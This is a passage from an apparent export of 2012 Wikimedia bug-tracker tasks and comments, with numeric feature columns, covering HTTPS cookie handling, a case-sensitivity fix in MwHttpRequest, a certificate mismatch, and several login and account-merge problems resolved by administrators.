It’s great that the authentication cookies are set to secure, but that should really come with a non-secure “hey-please-redirect-me-to-https” cookie.",,,1336019332,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dqeqn7qcn3bqahgkpmfm,task_subcomment,,True,c2,1,False,,,-69,True,0.0,0.0,0.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,12.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,6.0,1.0,4.0,6.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,4.0,12.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,3.33,0.69,"**s** wrote:

+1

Also, rIght now it’s possible to log in with HTTPS and then visit (say, from an external link) a Wikimedia page via http and be suddenly not logged in anymore. Change the URL back to https and, presto, you’re logged in again.

It’s great that the authentication cookies are set to secure, but that should really come with a non-secure “hey-please-redirect-me-to-https” cookie."
38137,$this->method should be string case agnostic in MwHttpRequest classes,"Currently, when creating MwHttpRequest objects, the 'method' option/parameter must match case exactly. This seems unnecessary and caused me to bang my head against the wall for a while trying to figure out why my requests weren't POSTing.

Replacing lines like
} elseif ( $this->method == 'POST' ) {
with
} elseif ( strtoupper( $this->method ) == 'POST' ) {
should do the trick and be more developer friendly.

Fix forthcoming.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1334958120,1335018793.0,PHID-USER-jh2oguhshocanixqvlfk,False,,False,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_description,resolved,True,c2,1,False,False,True,-71,True,0.0,0.0,0.0,0.0,0.5,5.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.5,0.0,2.5,4.0,0.0,1.0,1.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,11.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.5,7.0,1.0,1.5,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.5,4.0,0.5,0.0,4.5,0.0,1.5,0.0,1.0,0.5,0.5,2.0,1.0,0.0,1.0,3.824561403508772,0.736842105263158,"Currently, when creating MwHttpRequest objects, the 'method' option/parameter must match case exactly. This seems unnecessary and caused me to bang my head against the wall for a while trying to figure out why my requests weren't POSTing.

Replacing lines like
} elseif ( $this->method == 'POST' ) {
with
} elseif ( strtoupper( $this->method ) == 'POST' ) {
should do the trick and be more developer friendly.

Fix forthcoming.

--------------------------
**Version**: unspecified
**Severity**: normal"
178265,$this->method should be string case agnostic in MwHttpRequest classes,Fixed in c5493,,,1335018793,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Fixed in c5493
178258,$this->method should be string case agnostic in MwHttpRequest classes,"Fixed in commit 1122ca5f8750a7e23e3f00ad7c03a19ef25f4c17 with Change-Id: Ic20e1b99dcb56b8a11cea50293ba44022e564de9 (https://gerrit.wikimedia.org/r/#change,5493)",,,1334960391,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.333333333333334,1.0,Fixed in commit 1122ca5f8750a7e23e3f00ad7c03a19ef25f4c17 with Change-Id: Ic20e1b99dcb56b8a11cea50293ba44022e564de9 (URL
178249,$this->method should be string case agnostic in MwHttpRequest classes,"(In reply to comment #5)
> The HTTP class seems to be a gatekeeper for MWHttpRequest. I don't know if
> MWHttpRequest original intention was for it to be called directly or not, but
> I'd do it through HTTP.

I see what you mean - however the HTTP class doesn't let me control the cookieJar in MWHttpRequest. Basically, I've put together a very lightweight (currently) single-purpose MW Api client in a MW extension which can post to remote wikis, which means I need to be able to persist login information (hence my need for the cookieJar). I'll play around a bit with the HTTP class though and see what I can/can't do.

Regardless, if the MWHttpRequest is looking for $this->method in all uppercase, it probably should ensure that values are getting set in all uppercase. Defensive programming ftw.",,,1334959349,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,1.5,0.0,0.5,0.0,0.5,2.0,0.5,0.0,0.5,0.5,4.0,2.5,0.0,0.0,0.0,4.0,0.5,6.0,10.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,0.0,5.0,3.0,0.5,1.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,1.0,5.0,2.0,11.0,1.5,0.5,7.5,0.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,5.5,10.0,6.5,0.0,0.0,0.0,5.5,0.0,2.0,1.5,0.5,1.5,0.0,0.0,0.0,3.926470588235294,0.7941176470588235,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

I see what you mean - however the HTTP class doesn't let me control the cookieJar in MWHttpRequest. Basically, I've put together a very lightweight (currently) single-purpose MW Api client in a MW extension which can post to remote wikis, which means I need to be able to persist login information (hence my need for the cookieJar). I'll play around a bit with the HTTP class though and see what I can/can't do.

Regardless, if the MWHttpRequest is looking for $this->method in all uppercase, it probably should ensure that values are getting set in all uppercase. Defensive programming ftw."
178242,$this->method should be string case agnostic in MwHttpRequest classes,"The HTTP class seems to be a gatekeeper for MWHttpRequest. I don't know if MWHttpRequest original intention was for it to be called directly or not, but I'd do it through HTTP.",,,1334959033,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0.0,0.0,0.0,3.0,5.0,3.0,5.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,8.0,16.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,19.0,3.0,5.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,16.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.918918918918919,0.7567567567567568,"The HTTP class seems to be a gatekeeper for MWHttpRequest. I don't know if MWHttpRequest original intention was for it to be called directly or not, but I'd do it through HTTP."
178236,$this->method should be string case agnostic in MwHttpRequest classes,"(In reply to comment #3)
> HTTP::request is doing a strtoupper on the method. Are you calling
> MWHttpRequest::factory directly?

Yes. Should I not be?",,,1334958797,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.55,0.9,"(In reply to comment #3)
QUOTE
QUOTE

Yes. Should I not be?"
178230,$this->method should be string case agnostic in MwHttpRequest classes,HTTP::request is doing a strtoupper on the method. Are you calling MWHttpRequest::factory directly?,,,1334958537,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,0.0,5.8,1.0,HTTP::request is doing a strtoupper on the method. Are you calling MWHttpRequest::factory directly?
178224,$this->method should be string case agnostic in MwHttpRequest classes,"Alternatively, $this->method could benefit from a setter function that automatically strtoupper's the param",,,1334958334,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,5.9375,1.0,"Alternatively, $this->method could benefit from a setter function that automatically strtoupper's the param"
178217,$this->method should be string case agnostic in MwHttpRequest classes,"Also, just for reference, there is precedence for this already in HttpFunctions.php:
		if ( strtoupper( $this->method ) == ""HEAD"" ) {
			$this->headersOnly = true;
		}",,,1334958254,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-tv2vswa4obhqhgbwjeuy,task_subcomment,,True,c2,1,False,,,-71,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.8421052631578947,0.7631578947368421,"Also, just for reference, there is precedence for this already in HttpFunctions.php:
		if ( strtoupper( $this->method ) == ""HEAD"" ) {
			$this->headersOnly = true;
		}"
37096,Wikipedia/Wikitonary CA difference breaks HTTPS to Wiktionary in Android,"**Author:** `shealen.clare`

**Description:**
CA for en.m.wiktionary is different from CA for en.m.wikipedia, but mobile frontend servers using wikipedia's CA, breaking security.

--------------------------
**Version**: unspecified
**Severity**: minor
**OS**: other",Needs Triage,90.0,1331322360,1331326730.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-zvgxymu45xe3yxto3zkp,task_description,resolved,True,c2,1,False,False,True,-77,True,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.819672131147541,0.5409836065573771,"**Author:** CODE

**Description:**
CA for en.m.wiktionary is different from CA for en.m.wikipedia, but mobile frontend servers using wikipedia's CA, breaking security.

--------------------------
**Version**: unspecified
**Severity**: minor
**OS**: other"
164449,Wikipedia/Wikitonary CA difference breaks HTTPS to Wiktionary in Android,"

*** This bug has been marked as a duplicate of bug 34788 ***",,,1331326730,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-zvgxymu45xe3yxto3zkp,task_subcomment,,True,c2,1,True,,,-77,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 34788 ***"
36722,"Site Login Problems Reset Password hi. i try to reset my password, for wicka media, but says cannot find StarTrekCafe but in the login system. can you send me a reset password.","**Author:** `startrekcafe`

**Description:**
Hi. i try to reset my password in wicamideia. but not liking my user name of StarTrekCafe. says that there is no user, but in the login system. i am a blind website design student and using jaws for windows. tried to use the mpa it program with the map of australia for the web html challenge, but says the image a .png is not decroded or decrypted. tried to upload as a svg, but i cannot login. can you help.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC",Needs Triage,90.0,1330227720,1330289204.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-qjkypar4tcksuia4u7qe,task_description,invalid,True,c2,1,False,False,True,-79,True,0.0,0.0,0.0,0.5,2.0,2.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,2.5,0.0,2.0,6.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,4.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,5.0,1.5,7.0,0.5,3.5,5.5,0.0,0.0,0.0,0.0,3.0,0.5,0.5,0.0,4.0,6.5,3.5,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.310764587525151,0.6590543259557344,"**Author:** CODE

**Description:**
Hi. i try to reset my password in wicamideia. but not liking my user name of StarTrekCafe. says that there is no user, but in the login system. i am a blind website design student and using jaws for windows. tried to use the mpa it program with the map of australia for the web html challenge, but says the image a .png is not decroded or decrypted. tried to upload as a svg, but i cannot login. can you help.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC"
168989,"Site Login Problems Reset Password hi. i try to reset my password, for wicka media, but says cannot find StarTrekCafe but in the login system. can you send me a reset password.","http://toolserver.org/~luxo/contributions/contributions.php?user=StarTrekCafe shows no contributions from StarTrekCafe and both commons and enwiki say ""User account ""StarTrekCafe"" is not registered.""

https://commons.wikimedia.org/wiki/User:StarTrekCafe
https://en.wikipedia.org/wiki/User:StarTrekCafe

I'm not sure what else we can do since it looks like you've never registered this user.",,,1330289204,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-qjkypar4tcksuia4u7qe,task_subcomment,,True,c2,1,False,,,-79,True,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,6.0,10.0,0.0,8.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9583333333333335,0.7708333333333334,"URL shows no contributions from StarTrekCafe and both commons and enwiki say ""User account ""StarTrekCafe"" is not registered.""

URL
URL

I'm not sure what else we can do since it looks like you've never registered this user."
36381,unable to (SUL-)login on uz.wikiquote.org,"**Author:** `kontakt-bugzilla-wikimedia-org-22.07.2011`

**Description:**
First of all, I'm steward and my SUL is active for years. At the moment it is active in more than 400 wmf projects.

Today I went to some page on ru.wikibooks.org and uz.wikiquote.org (Special:RenameUser to be precise). Usually I only need to change the settings to my language when I enter a new site where I haven't been before. But this time something went wrong.

I was told, that I'm not allowed to call this page, then I mentioned I wasn't logged in. So I tried to login, but I was told, that my password was wrong. On ru.wikibooks.org I was able to request a temporary password, and I was also able to merge this account into my SUL.

But on uz.wikiquote.org I was told, that there is no email address attached to this account thus I'm not able to merge this account into my SUL.


Two requests:

1. Please try to find out what went wrong (server problem? database problem?)

2. Please add my bugzilla address to this local account that I'm able to get a temporary password.

Regards
Andy aka. axpde
--

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=34512",Needs Triage,90.0,1329165300,1329167231.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-s434bfcz6exkdkrs7tbk,task_description,resolved,True,c2,1,False,False,True,-81,True,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,1.3333333333333333,6.333333333333333,2.0,0.0,0.0,0.0,1.0,2.0,0.0,0.3333333333333333,0.3333333333333333,7.333333333333333,0.0,5.333333333333333,9.666666666666666,0.3333333333333333,3.0,0.0,0.0,0.0,4.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,12.0,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.0,0.3333333333333333,1.0,0.0,0.0,1.6666666666666667,4.0,14.333333333333334,1.6666666666666667,2.0,4.666666666666667,0.0,0.0,0.0,0.0,4.333333333333333,0.6666666666666666,0.6666666666666666,0.0,7.666666666666667,9.666666666666666,4.0,0.6666666666666666,0.0,0.0,7.666666666666667,0.0,1.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,3.5444444444444443,0.6296296296296297,"**Author:** CODE

**Description:**
First of all, I'm steward and my SUL is active for years. At the moment it is active in more than 400 wmf projects.

Today I went to some page on ru.wikibooks.org and uz.wikiquote.org (Special:RenameUser to be precise). Usually I only need to change the settings to my language when I enter a new site where I haven't been before. But this time something went wrong.

I was told, that I'm not allowed to call this page, then I mentioned I wasn't logged in. So I tried to login, but I was told, that my password was wrong. On ru.wikibooks.org I was able to request a temporary password, and I was also able to merge this account into my SUL.

But on uz.wikiquote.org I was told, that there is no email address attached to this account thus I'm not able to merge this account into my SUL.


Two requests:

1. Please try to find out what went wrong (server problem? database problem?)

2. Please add my bugzilla address to this local account that I'm able to get a temporary password.

Regards
Andy aka. axpde
--

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
166749,unable to (SUL-)login on uz.wikiquote.org,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:

It happened again on ru.wikiversity.org (see https://bugzilla.wikimedia.org/show_bug.cgi?id=34512)",,,1329656210,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s434bfcz6exkdkrs7tbk,task_subcomment,,True,c2,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.318181818181818,0.7727272727272727,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:

It happened again on ru.wikiversity.org (see URL"
166743,unable to (SUL-)login on uz.wikiquote.org,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:

Thanks for helping. I'm just curious what might have happened. This is the third time I had to merge a local account manually into my SUL, but the first time I couldn't request a temporary password! So this might happen again ... :(",,,1329167665,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s434bfcz6exkdkrs7tbk,task_subcomment,,True,c2,1,False,,,-81,True,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,8.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,11.0,0.0,2.0,10.0,0.0,0.0,2.0,0.0,6.0,0.0,2.0,0.0,6.0,5.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,3.857142857142857,0.8095238095238095,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:

Thanks for helping. I'm just curious what might have happened. This is the third time I had to merge a local account manually into my SUL, but the first time I couldn't request a temporary password! So this might happen again ... :("
166738,unable to (SUL-)login on uz.wikiquote.org,"For some reason the email the account was incorrectly created:

[uzwikiquote]> select * from user where user_name='Axpde' \G
*************************** 1. row ***************************
                 user_id: 546
               user_name: Axpde
          user_real_name: 
           user_password: 
        user_newpassword: 
              user_email: 
            user_options: 
            user_touched: 
              user_token: <some hash>
user_email_authenticated: NULL
        user_email_token: NULL
user_email_token_expires: NULL
       user_registration: 20120213183354
       user_newpass_time: NULL
          user_editcount: 0
1 row in set (0.00 sec)


I have verified that was a SUL account and manually updated the email address
using eval:


$ mwscript eval.php uzwikiquote
> $u = User::newFromName( 'Axpde' );

> $u->setEmail( <some email> );

> $u->saveSettings();

> exit
$

User managed to merge that account",,,1329167020,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-s434bfcz6exkdkrs7tbk,task_subcomment,,True,c2,1,True,,,-81,True,1.0,0.0,0.0,0.5,0.0,2.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,1.5,2.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,2.0,1.0,7.0,0.5,0.5,3.5,0.0,0.0,0.0,0.0,0.5,0.0,3.0,0.0,0.5,2.0,10.0,0.0,0.5,0.0,0.5,0.0,1.0,0.5,0.0,0.5,0.0,0.5,3.5,4.213101903695408,0.513885778275476,"For some reason the email the account was incorrectly created:

[uzwikiquote]> select * from user where user_name='Axpde' \G
*************************** 1. row ***************************
                 user_id: 546
               user_name: Axpde
          user_real_name: 
           user_password: 
        user_newpassword: 
              user_email: 
            user_options: 
            user_touched: 
              user_token: <some hash>
user_email_authenticated: NULL
        user_email_token: NULL
user_email_token_expires: NULL
       user_registration: 20120213183354
       user_newpass_time: NULL
          user_editcount: 0
1 row in set (0.00 sec)


I have verified that was a SUL account and manually updated the email address
using eval:


$ mwscript eval.php uzwikiquote
QUOTE

QUOTE

QUOTE

QUOTE
$

User managed to merge that account"
166732,unable to (SUL-)login on uz.wikiquote.org,//**content hidden as private in Bugzilla**//,,,1329166748,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-s434bfcz6exkdkrs7tbk,task_subcomment,,True,c2,1,True,,,-81,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.666666666666667,1.0,//**content hidden as private in Bugzilla**//
36197,"Can't save text including the protocol https on wikimania2012, translating it into Korean","**Author:** `qbphcqdw`

**Description:**
While I was translating a page on wikimania2012.wikimedia.org into Korean, I encountered this error: I couldn't save text including the protocol https. Please review the error. 

Here is one of the urls:
http://wikimania2012.wikimedia.org/w/index.php?title=Special:Translate&group=page-Scholarships&task=view&language=ko

Thank you.

--------------------------
**Version**: unspecified
**Severity**: trivial
**OS**: Windows 7
